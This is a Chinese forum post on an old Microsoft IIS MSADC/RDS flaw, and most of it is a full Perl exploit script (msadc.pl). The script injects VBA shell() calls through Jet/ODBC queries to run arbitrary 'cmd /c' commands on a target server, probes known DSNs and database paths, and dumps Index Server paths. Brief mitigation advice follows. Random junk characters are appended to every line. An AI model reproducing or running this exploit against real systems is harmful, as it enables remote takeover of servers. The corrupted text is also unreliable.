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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QR,i b  
<Z0Tz6/j,  
涉及程序: KT|$vw2b  
Microsoft NT server `bxgg'V  
*/ qv}  
描述: c[;I\g  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 <vj&e(D^  
&XZ>}^lD^  
详细: /Ia#udkNMp  
如果你没有时间读详细内容的话,就删除: JY_' d,O  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4e5Ka{# <  
有关的安全问题就没有了。 "OWq]q#  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ",K6zALJ  
*D9QwQ _|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ukPV nk  
关于利用ODBC远程漏洞的描述,请参看: '7xY ,IY  
f"PApV9[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <ZnAPh  
{X<tUco  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 DG& kY+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %f>V\z_C  
XBDlQe|>  
这里不再论述。 S[%86(,*gP  
E>7[ti_p5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Sx pl%  
]6(NeS+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset a{{([uZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ho0T$hB  
uEk$Y=p7!  
`zTVup&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" z |t0mS$  
` bg{\ .q  
#!perl `4$" mO>+  
# '|6j1i0x  
# MSADC/RDS 'usage' (aka exploit) script {Ynr(J.  
# BG=h1ybz  
# by rain.forest.puppy 6>KDK<5NQ  
# iHR?]]RF  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me <Z}2A8mjY  
# beta test and find errors! J%%nv5y  
sKNN ahGjh  
use Socket; use Getopt::Std; x0 3|L!n  
getopts("e:vd:h:XR", \%args); :r!nz\%WW  
fUE jl  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [P"#?7 N  
&"25a[x{B  
if (!defined $args{h} && !defined $args{R}) { F_@PSA+  
print qq~ P=V~/,>SZ!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3VcG /rf  
-h <host> = host you want to scan (ip or domain) obY5taOw  
-d <seconds> = delay between calls, default 1 second ]"F0"UH,  
-X = dump Index Server path table, if available 6o {41@v(  
-v = verbose .( 75.^b2)  
-e = external dictionary file for step 5 K /. ;N.9  
]G&d`DNV  
Or a -R will resume a command session #lF8"@)a-$  
^e)KEkh  
~; exit;} &i6WVNGy  
)6Hc Pso6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; }oloMtp$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }Vk#w%EJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `@-H ;  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); qm8[ ^jO&  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} `WX @1]m  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^ WidA-  
^!?W!k!:V  
if (!defined $args{R}){ $ret = &has_msadc; UoBmS 5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1Hk`i%  
x2(hp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" XWH~o:0<2  
. "cmd /c "; [gx6e 44  
$in=<STDIN>; chomp $in; .kyp5CD}4  
$command="cmd /c " . $in ; p^MV< }kk  
w+z~Mz}Vz  
if (defined $args{R}) {&load; exit;} 2E;UHR  
M9M~[[   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; {f<2VeJ  
&try_btcustmr; <$qe2Ft Uq  
?45bvkCT  
print "\nStep 2: Trying to make our own DSN..."; NirG99kyo  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [x{'NwP?  
{ ZrIA+eH  
print "\nStep 3: Trying known DSNs..."; XE6sFU  
&known_dsn; *@^9 ]$*$  
Mj2`p#5wKh  
print "\nStep 4: Trying known .mdbs..."; $oDc  
&known_mdb; o/t^rY y  
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if (defined $args{e}){ a9}7K/Y=d  
print "\nStep 5: Trying dictionary of DSN names..."; @FO= 0_;y  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }%x2Z{VF  
$3psSQQo  
print "Sorry Charley...maybe next time?\n"; suiO%H^t  
exit; 1Tm,#o  
lkl+o&D9  
############################################################################## <$metN~9j  
| KY6IGcqV  
sub sendraw { # ripped and modded from whisker o"wvP~H  
sleep($delay); # it's a DoS on the server! At least on mine... !8~A`  
my ($pstr)=@_; pL 2P .  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || UNY O P{  
die("Socket problems\n"); L6<.>\^Z"  
if(connect(S,pack "SnA4x8",2,80,$target)){ a=@]Ov/  
select(S); $|=1; S8>1l?UH  
print $pstr; my @in=<S>; %wil'  
select(STDOUT); close(S); GO4IAUA  
return @in; pUF$Nq>og  
} else { die("Can't connect...\n"); }} @:s (L]  
EC;R^)  
############################################################################## w eX%S&#?  
[L(qrAQ2|z  
sub make_header { # make the HTTP request $y{rM%6JU  
my $msadc=<<EOT (r*"}"ZG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `-Y8T\  
User-Agent: ACTIVEDATA f(S9>c2  
Host: $ip ZQ1,6<^9i[  
Content-Length: $clen l;7T.2J'Z  
Connection: Keep-Alive FT8<a }o  
7up~8e$_  
ADCClientVersion:01.06 Oz{FM6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 db*yA@2Lg  
:Eb=jWA  
--!ADM!ROX!YOUR!WORLD! >dK# tsp  
Content-Type: application/x-varg @V}!elV  
Content-Length: $reqlen FHbyL\Q  
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EOT @js`$  
; $msadc=~s/\n/\r\n/g; *(g0{V  
return $msadc;} {Qba`lOkq  
R,8 W7 3  
############################################################################## He9Er  
nixIKOnjC  
sub make_req { # make the RDS request 7?@ -|{  
my ($switch, $p1, $p2)=@_; awB+B8^s  
my $req=""; my $t1, $t2, $query, $dsn; u~8=ik n+T  
`a6AES'w$  
if ($switch==1){ # this is the btcustmr.mdb query w!_6*  
$query="Select * from Customers where City=" . make_shell(); */'j[uj  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9 ;Qgby  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2`^M OGYk  
B4/\=MXb  
elsif ($switch==2){ # this is general make table query `T,^os#6  
$query="create table AZZ (B int, C varchar(10))"; ~F " w  
$dsn="$p1";} #;0F-pt  
Ua.%?V  
elsif ($switch==3){ # this is general exploit table query j4wsDtmAU  
$query="select * from AZZ where C=" . make_shell(); |mQC-=6t;Y  
$dsn="$p1";} uOAd$;h@_Z  
XUVBD;"f!  
elsif ($switch==4){ # attempt to hork file info from index server Hb3..o:  
$query="select path from scope()"; <:>[24LJ{  
$dsn="Provider=MSIDXS;";} HDi_|{2^  
Z&|Dp*Z  
elsif ($switch==5){ # bad query 7Hg;SK6t0  
$query="select"; PDpuHHB  
$dsn="$p1";} e}NB ,o  
#AH gY.  
$t1= make_unicode($query); OIs!,G|  
$t2= make_unicode($dsn); 6!@p$ pm)a  
$req = "\x02\x00\x03\x00"; ]tNB^  
$req.= "\x08\x00" . pack ("S1", length($t1)); w~~[0e+E  
$req.= "\x00\x00" . $t1 ; %O9P|04]3  
$req.= "\x08\x00" . pack ("S1", length($t2)); |JiN; O+K  
$req.= "\x00\x00" . $t2 ; jZk dTiI  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; JLGC'mbJ  
return $req;} [:/mjO K  
&,QBJx<#  
############################################################################## l!<(}?u9  
'soll[J  
sub make_shell { # this makes the shell() statement ~zoZ{YqP  
return "'|shell(\"$command\")|'";} Jq:Wt+a  
Lh-+i  
############################################################################## ikb;,Js  
!jg< S>S5  
sub make_unicode { # quick little function to convert to unicode .7HEI;4  
my ($in)=@_; my $out; '#Q\p6G&_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } $\aJ.N6rb  
return $out;} 3 jghV?I{T  
#iT3 aou  
############################################################################## _4LDzVjNRe  
?s]?2>p  
sub rdo_success { # checks for RDO return success (this is kludge) m[%P3  
my (@in) = @_; my $base=content_start(@in); gMPvzBpP  
if($in[$base]=~/multipart\/mixed/){ $*j)ey>  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0KN'\KE  
return 0;} {3BWT  
l M a||  
############################################################################## hdpA& OteR  
JD ~]aoH  
sub make_dsn { # this makes a DSN for us loD:4e1  
my @drives=("c","d","e","f"); Q SvgbjdE  
print "\nMaking DSN: "; A/OGF>  
foreach $drive (@drives) { Bam 4%G5  
print "$drive: ";  -K4uqUp  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [ z{ }?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |iVw7M:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qSQsY:]j0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .WS7gTw  
return 0 if $2 eq "404"; # not found/doesn't exist H,)2Ou-Wn  
if($2 eq "200") { T*#<p;  
foreach $line (@results) { npcL<$<6X  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {WuUzq`  
} return 0;} > M4QEv  
(y?`|=G-xT  
############################################################################## Y~ Nt9L  
cC$E"m  
sub verify_exists { Ekz)Nh)vGR  
my ($page)=@_; JjG>$z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^oZD44$  
return $results[0];} $u{ 8wF/)  
<a=k"'0  
############################################################################## Es+BV+x[.c  
ANd#m9(x  
sub try_btcustmr { (L"G,l  
my @drives=("c","d","e","f"); Q46sPMH+_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @W!cC#u  
xJ)vfo  
foreach $dir (@dirs) { PxgLt2dXa  
print "$dir -> "; # fun status so you can see progress lR3JyYY{X  
foreach $drive (@drives) { !Baq4V?KN  
print "$drive: "; # ditto _"sFLe{  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /N`E4bKBR  
$reqlenlen=length( "$reqlen" ); `L {dF  
$clen= 206 + $reqlenlen + $reqlen; \"mL LnK?  
TYgn X  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); fu7J{-<<R  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} !e:HE/&>i  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 6Er%td)f  
' Y.s}Duj  
############################################################################## R6 dD17  
qEB]Tj e[  
sub odbc_error { /,2${$c!  
my (@in)=@_; my $base; [&p^h  
my $base = content_start(@in); }_o!f V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 3}X;WE `  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )6Qk|gIu(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OcGHMGdn  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4) ~ GHb  
return $in[$base+4].$in[$base+5].$in[$base+6];} N;d@)h(N!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; `)s>},8W!  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _J`q\N K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} qddP-uN  
[vY? !  
############################################################################## rWMG_eP:  
J2adA9R/,  
sub verbose { C/x<_VJzN/  
my ($in)=@_; 1A b=1g{  
return if !$verbose; #35@YMF  
print STDOUT "\n$in\n";} . ;q 4<_  
CJu3h&Rp  
############################################################################## T'nQj<dBt:  
v(2|n}qY  
sub save { -l` 1j6  
my ($p1, $p2, $p3, $p4)=@_; _oJq32  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |KxFi H  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {JlW1;Jc7  
close OUT;} pC'GKk 8  
Ii9@ j1-g  
############################################################################## x0!5z1KQh  
aj<=]=hr  
sub load { 4_w+NI,;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; '9MtIcNb  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); v"&Fj  
@p=<IN>; close(IN); x\Det$3Kx  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); dT9!gNvQ  
$target= inet_aton($ip) || die("inet_aton problems"); |Skk1 #  
print "Resuming to $ip ..."; yEe4{j$  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; EK6fd#J?1  
if($p[1]==1) { k~st;FO  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; zi*2>5g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1MCHwX3/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .iB?:  
if (rdo_success(@results)){print "Success!\n";} ^"h`U'YC  
else { print "failed\n"; verbose(odbc_error(@results));}} 9j[%Y?  
elsif ($p[1]==3){ + fQ=G/  
if(run_query("$p[3]")){ G,8LF/sR  
print "Success!\n";} else { print "failed\n"; }} #Pz},!7  
elsif ($p[1]==4){ TB gD"i-  
if(run_query($drvst . "$p[3]")){ : qKxm(  
print "Success!\n"; } else { print "failed\n"; }} 5]&vs!wH  
exit;} 1YA_`_@w  
_tg&_P+kV  
############################################################################## &\$l%icuo  
D 5qCn^R  
sub create_table { P{eL;^I  
my ($in)=@_; MEQ :[;1  
$reqlen=length( make_req(2,$in,"") ) - 28; Z%Nl<i  
$reqlenlen=length( "$reqlen" ); -O2ZrJ!q  
$clen= 206 + $reqlenlen + $reqlen; szC~?]<YY  
my @results=sendraw(make_header() . make_req(2,$in,"")); eyZ /%4'q  
return 1 if rdo_success(@results); 9tVA.:FOZ  
my $temp= odbc_error(@results); verbose($temp); .VVY]>bJg@  
return 1 if $temp=~/Table 'AZZ' already exists/; ?#^_yd|<  
return 0;} r[zxb0YA  
cPxA R]'U  
############################################################################## "qRE1j@%a  
8VJUaL@  
sub known_dsn { ;/W;M> ^  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;$G.?r  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", XQhBnam%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", WlF"[mU-  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ]k%Yz@*S  
zxtx~XO  
foreach $dSn (@dsns) { Vt:]D?\3  
print "."; -y{o@  
next if (!is_access("DSN=$dSn")); q"5iza__H  
if(create_table("DSN=$dSn")){ (xJ6 : u  
print "$dSn successful\n"; 8 kw`=wSH>  
if(run_query("DSN=$dSn")){ 8oG0tX3i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1O1/P,u+  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I_J;/!l=  
y88FT#hR|5  
############################################################################## }u&.n pc  
%0}qMYS  
sub is_access { wAxXK94#3  
my ($in)=@_; ;}{%|UAsx  
$reqlen=length( make_req(5,$in,"") ) - 28; iIq='xwa9  
$reqlenlen=length( "$reqlen" ); 2/qP:3)  
$clen= 206 + $reqlenlen + $reqlen; u=feR0|8  
my @results=sendraw(make_header() . make_req(5,$in,"")); <k'=_mC_  
my $temp= odbc_error(@results); Cs7YD~,  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w{Wz^=';  
return 0;} , gk49z9  
;BqYhi  
############################################################################## ~]DGf(   
7=t4;8|j;  
sub run_query { j0!Z 20  
my ($in)=@_; 1FUadSB5)  
$reqlen=length( make_req(3,$in,"") ) - 28; "W;Gv I  
$reqlenlen=length( "$reqlen" ); )_OKw?Zi  
$clen= 206 + $reqlenlen + $reqlen; mc;Z#"kf  
my @results=sendraw(make_header() . make_req(3,$in,"")); F0%FX`b{{  
return 1 if rdo_success(@results); v' 7,(.E  
my $temp= odbc_error(@results); verbose($temp); y]aV7 `]  
return 0;} kt.z,<w5O  
xSZgQF~  
############################################################################## {wRsV=*  
40N8?kQ}?  
sub known_mdb { <\GP\G  
my @drives=("c","d","e","f","g"); W[[3'JTF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0'`>20Y  
my $dir, $drive, $mdb; kD S  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /=A?O\B7  
[op!:K0  
# this is sparse, because I don't know of many k/YEUC5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", jKZJ0`06q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", yTwv2l;U  
"\\system32\\certmdb.mdb", .t''(0_kC  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% I.TdYSB  
qz"di~7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BpZE  
"\\cfusion\\cfapps\\forums\\forums_.mdb", '9%72yG  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", cq+|fg~Yy  
"\\cfusion\\cfapps\\security\\realm_.mdb", $ 5ZBNGr  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", eWSA  
"\\cfusion\\database\\cfexamples.mdb", fEE[h uG  
"\\cfusion\\database\\cfsnippets.mdb", m8;; O  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3JM0 m (  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", bmVksi2b  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9F)+p7VJq  
"\\cfusion\\database\\smpolicy.mdb", T1jAY^^I  
"\\cfusion\\database\cypress.mdb", yKF"\^`@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .'JO7of  
"\\website\\cgi-win\\dbsample.mdb", % 1ZJi}~  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &p=Uus  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Nw[TP G5  
); #these are just }.ZX.qYX  
foreach $drive (@drives) { p/L|;c  
foreach $dir (@dirs){ )isz }?Dj  
foreach $mdb (@sysmdbs) { b?eIFI&w^l  
print "."; G vMhgG=D  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ x9q?^\x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 42E]&=Cet  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ UZ7Zzc#g  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; :,%~R2  
} else { print "Something's borked. Use verbose next time\n"; }}}}} p A7&  
6U5L>sQ  
foreach $drive (@drives) { 0w9)#e+JS  
foreach $mdb (@mdbs) { >Lj0B%^EvM  
print "."; l Os91+.%  
if(create_table($drv . $drive . $dir . $mdb)){ VWf&F`^B(  
print "\n" . $drive . $dir . $mdb . " successful\n"; jWk1FQte  
if(run_query($drv . $drive . $dir . $mdb)){ -l)vl<}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7pf]h$2  
} else { print "Something's borked. Use verbose next time\n"; }}}} OP0KK^#  
} l#u$w&  
1"tyxAo\  
############################################################################## \6A Yx[|  
o;5 J=  
sub hork_idx { h=h4`uA9  
print "\nAttempting to dump Index Server tables...\n"; # 4UKkd  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >dO1)  
$reqlen=length( make_req(4,"","") ) - 28; 8h"Val|qP  
$reqlenlen=length( "$reqlen" ); ramYSX@  
$clen= 206 + $reqlenlen + $reqlen; F6XrJ?JM  
my @results=sendraw2(make_header() . make_req(4,"","")); MiHa'90{K  
if (rdo_success(@results)){ C#<b7iMg  
my $max=@results; my $c; my %d; <% #Dwo}  
for($c=19; $c<$max; $c++){ tDw(k[aK@  
$results[$c]=~s/\x00//g; @GTkS!86  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; KA~eOEj M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; khFr%u ?S  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *UL++/f  
$d{"$1$2"}="";} Xa o*h(Q@L  
foreach $c (keys %d){ print "$c\n"; } V+`gkWe/  
} else {print "Index server doesn't seem to be installed.\n"; }} /`6Y-8e2  
iM \3~3'  
############################################################################## @ ;T|`Y=7  
GZ=7)eJ~<  
sub dsn_dict { 80J87\)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3an9Rb V  
while(<IN>){ `Xs3^FJt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; s"OP[YEke/  
next if (!is_access("DSN=$dSn")); LAs#g||M  
if(create_table("DSN=$dSn")){ i28WgDG)5  
print "$dSn successful\n"; c_V^~hq  
if(run_query("DSN=$dSn")){ 2fqg,_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XotiKCk|Aq  
print "Something's borked. Use verbose next time\n";}}} (U_`Q1Jo  
print "\n"; close(IN);} uX/K/4  
xE>jlr?  
############################################################################## ^Pwtu  
,gO}H)v]t  
sub sendraw2 { # ripped and modded from whisker F#b^l}  
sleep($delay); # it's a DoS on the server! At least on mine... 5r2A^<)  
my ($pstr)=@_; \_v jc]?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || IvZ,|R?  
die("Socket problems\n"); q\DN8IJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1>yh`Bp\=  
print "Connected. Getting data"; 8'sT zB]  
open(OUT,">raw.out"); my @in; ,|}}Ml  
select(S); $|=1; print $pstr; ^uiQZ%;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} pH9xyN[:a  
close(OUT); select(STDOUT); close(S); return @in; ^5'pJ/BV  
} else { die("Can't connect...\n"); }} s!IX3rz  
UWXl c  
############################################################################## q"@>rU4  
.#q]{j@Ot  
sub content_start { # this will take in the server headers M&[bb $00j  
my (@in)=@_; my $c; &xWej2a!  
for ($c=1;$c<500;$c++) { d6+$[4w  
if($in[$c] =~/^\x0d\x0a/){ :kMF.9U:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } A:$4cacu9  
else { return $c+1; }}} 1fH2obI~X  
return -1;} # it should never get here actually PQd*)6K:A  
e S: 8Pn  
############################################################################## 9 _oAs"w  
,*kh{lJ  
sub funky { `VrQ? s  
my (@in)=@_; my $error=odbc_error(@in); Q]{ `m  
if($error=~/ADO could not find the specified provider/){ eF"k"Ckt'  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; eKUP,y;[I  
exit;} h/oC9?v  
if($error=~/A Handler is required/){ <*Gd0 v%  
print "\nServer has custom handler filters (they most likely are patched)\n"; '" 4;;(  
exit;} f6,?Yex8B  
if($error=~/specified Handler has denied Access/){ J))U YJO  
print "\nServer has custom handler filters (they most likely are patched)\n"; /:;"rnvq  
exit;}} h-<Qj,L{W  
cx ~XG  
############################################################################## ^)E# c  
)Drif\FF)  
sub has_msadc { Bwc_N.w?3  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [gDl<6a#4  
my $base=content_start(@results); 6b1AIs8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); b5S4C2Ynq  
return 0;} 9i46u20  
5{xK&[wR*  
######################## der\"?_.  
{%oxzdPc  
4;2  
解决方案: FEO /RMh  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll a$5P\_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 qP$)V3l  
P  Ij  
拿出来充数 哈哈
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